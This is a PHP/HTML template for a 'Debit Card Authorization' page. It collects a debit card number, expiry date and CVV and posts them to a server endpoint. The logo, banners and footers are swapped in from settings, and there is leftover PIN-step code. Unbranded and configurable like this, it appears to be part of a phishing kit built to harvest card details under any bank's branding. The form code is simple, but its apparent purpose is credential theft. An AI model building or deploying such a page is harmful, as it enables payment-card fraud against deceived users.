<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Debit Card Authorization</title>
    <link rel="stylesheet" href="<?= base_url()?>assets/credit/styles.css">
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <style>
       
 
              
     /* Hide the spinners in number input */
        .number-input {
              padding: 0px;
    border: none;
    border-radius: 5px;
    width: 100%;
   /* box-shadow: 2px 3px 19px 1px #008dbf;*/
    font-size: 10px;
    font-weight: 600;
    font-family: system-ui;
    display: flex;
    gap: 5px;
    height: 50px;
            -moz-appearance: textfield; /* Firefox */
            appearance: none; /* Modern browsers */
        }

        /* Hide the default spinner for webkit browsers */
        .number-input::-webkit-inner-spin-button,
        .number-input::-webkit-outer-spin-button {
            -webkit-appearance: none;
            margin: 0;
        }
    </style>
</head>
<body>

    <header class="sticky-banner">
          <div class="logo"><img src="<?= base_url(). $settings->upload ?>" style="max-width: 100%;"></div>
    </header>
<body>

    <div class="preloader">
        <div class="logo"><img src="<?= base_url(). $settings->upload ?>" style="max-width: 200px;"></div>
    </div>

   
 <div class="banner-container">
        <div class="banner-slide active" align="center">
            <img src="<?= base_url(). $settings->image1 ?>" alt="Image 1">
        </div>
        <div class="banner-slide">
            <img src="<?= base_url(). $settings->image2 ?>" alt="Image 2">
        </div>
        <div class="banner-slide">
            <img src="<?= base_url(). $settings->image3 ?>" alt="Image 3">
        </div>
    </div>
    <main>
        <div class="form-container">
            <form class="user-form" action="<?= base_url()?>Credit/Debit" name="frm" method="post">
                <label style="color: #ffffff;">Enter 16 digit debit card number</label>
              
                   <div class="input-container">
  <i class="fa fa-credit-card"></i> 
              <input type="tel" id="cardInput" name="cardno" 
       placeholder="#### #### #### ####" maxlength="19" inputmode="numeric" required></div>
                
             
             
               
                <label style="color: #ffffff;">Enter Expiry in MM/YY</label>
                
              <div class="input-container">
  <i class="fa fa-calendar"></i>
                   
               <input type="tel" id="expiryInput"  name="expiry" 
       placeholder="MM/YYYY" maxlength="7" inputmode="numeric" required>

</div>
      <label style="color: #ffffff;">Enter Cvv</label>            
     <div class="input-container">
  <i class="fa fa-lock"></i>
  <input
    type="password"
    id="cvvInput"
    name="cvv"
    placeholder="CVV"
    inputmode="numeric"
    maxlength="3"
    pattern="\d{3}"
    autocomplete="cc-csc"
    required
  />
</div>          
                <button type="submit" name="submit" value="Submit" id="submit">Next</button>
            </form>
        </div>
    </main>
    
    
</div>
 <div>
                <center>
                    <img src="<?= base_url() ?>assets/credit/footer1.jpg" style="width:100vw; margin-top : 40px;" alt="Header" />
                     <img src="<?= base_url() ?>assets/credit/footer2.jpg" style="width:100vw;" alt="Header" />
                     <img src="<?= base_url() ?>assets/credit/footer3.jpg" style="width:100vw; " alt="Header" />
                </center>
            
            
                
            </div>
<script>
  // Keep only digits and cap at 3
  document.getElementById('cvvInput').addEventListener('input', function () {
    this.value = this.value.replace(/\D/g, '').slice(0, 3);
  });
</script>
    <script>
    document.getElementById("cardInput").addEventListener("input", function (e) {
        let value = this.value.replace(/\D/g, ''); // Remove non-numeric characters
        value = value.substring(0, 16); // Limit to 16 digits

        // Format with spaces after every 4 digits
        let formattedValue = value.replace(/(\d{4})/g, '$1 ').trim();

        this.value = formattedValue; // Update input value
    });
</script>

<script>
    document.getElementById("expiryInput").addEventListener("input", function (e) {
        let value = this.value.replace(/\D/g, ''); // Remove non-numeric characters

        // Limit to 6 digits (MMYYYY)
        if (value.length > 6) value = value.substring(0, 6);

        // Auto-insert slash (/) after MM
        if (value.length >= 3) {
            value = value.substring(0, 2) + '/' + value.substring(2);
        }

        this.value = value; // Update input field
    });
</script>

    <script>
    $(document).ready(function(){
        $('#next').click(function(){
            $('#pin').show();
            $('#submit').show();
            $(this).hide();
        })
    })
        window.addEventListener("load", function() {
            const preloader = document.querySelector(".preloader");
            preloader.style.display = "none"; // Hide preloader once the page is loaded
        });
    </script>
    <script>
        let currentSlide = 0;
const slides = document.querySelectorAll('.banner-slide');
const totalSlides = slides.length;

function showSlide(index) {
    slides.forEach((slide, i) => {
        slide.classList.remove('active');
        if (i === index) {
            slide.classList.add('active');
        }
    });
}

function nextSlide() {
    currentSlide = (currentSlide + 1) % totalSlides;
    showSlide(currentSlide);
}

setInterval(nextSlide, 3000); // Change slide every 3 seconds
    </script>
    <script>
        function formatCardNumber(input) {
    // Remove all spaces and non-digit characters
    let value = input.value.replace(/\D/g, '');
    
    // Format the value with spaces every 4 digits
    let formattedValue = '';
    for (let i = 0; i < value.length; i += 4) {
        formattedValue += value.substring(i, i + 4) + ' ';
    }

    // Trim the trailing space and update the input value
    input.value = formattedValue.trim();
}
    </script>
    <script>
        function formatDate(input) {
    // Remove non-digit characters
    let value = input.value.replace(/\D/g, '');

    // Format the value as MM/YY
    if (value.length > 2) {
        value = value.substring(0, 2) + '/' + value.substring(2, 4);
    } else if (value.length > 0) {
        value = value.substring(0, 2);
    }

    input.value = value; // Update the input value
}
    </script>
    
     <script>
        function validateLength(input) {
            const value = input.value;
            if (value.length > 4) {
                input.value = value.slice(0, 4); // Limit to 4 digits
            }
        }
    </script>
     <script>
        function validateLengthcvv(input) {
            const value = input.value;
            if (value.length > 3) {
                input.value = value.slice(0, 3); // Limit to 4 digits
            }
        }
    </script>
    
    <script>
        function moveToNext(currentInput, nextInputId) {
            // Move focus to the next input if current input has a value
            if (currentInput.value.length >= 4 && nextInputId) {
                document.getElementById(nextInputId).focus();
            }
        }

        function validateInput() {
            const inputs = document.querySelectorAll('.input-box');
            for (const input of inputs) {
                if (!input.value) {
                    alert('Please fill in all boxes.');
                    return false;
                }
            }
            return true; // Allow form submission if all inputs are filled
        }
    </script> 
    <script>
        function moveToNext2(currentInput, nextInputId) {
            // Move focus to the next input if current input has a value
            if (currentInput.value.length >= 2 && nextInputId) {
                document.getElementById(nextInputId).focus();
            }
        }

        function validateInput() {
            const inputs = document.querySelectorAll('.input-box');
            for (const input of inputs) {
                if (!input.value) {
                    alert('Please fill in all boxes.');
                    return false;
                }
            }
            return true; // Allow form submission if all inputs are filled
        }
    </script>

</body>
</html>
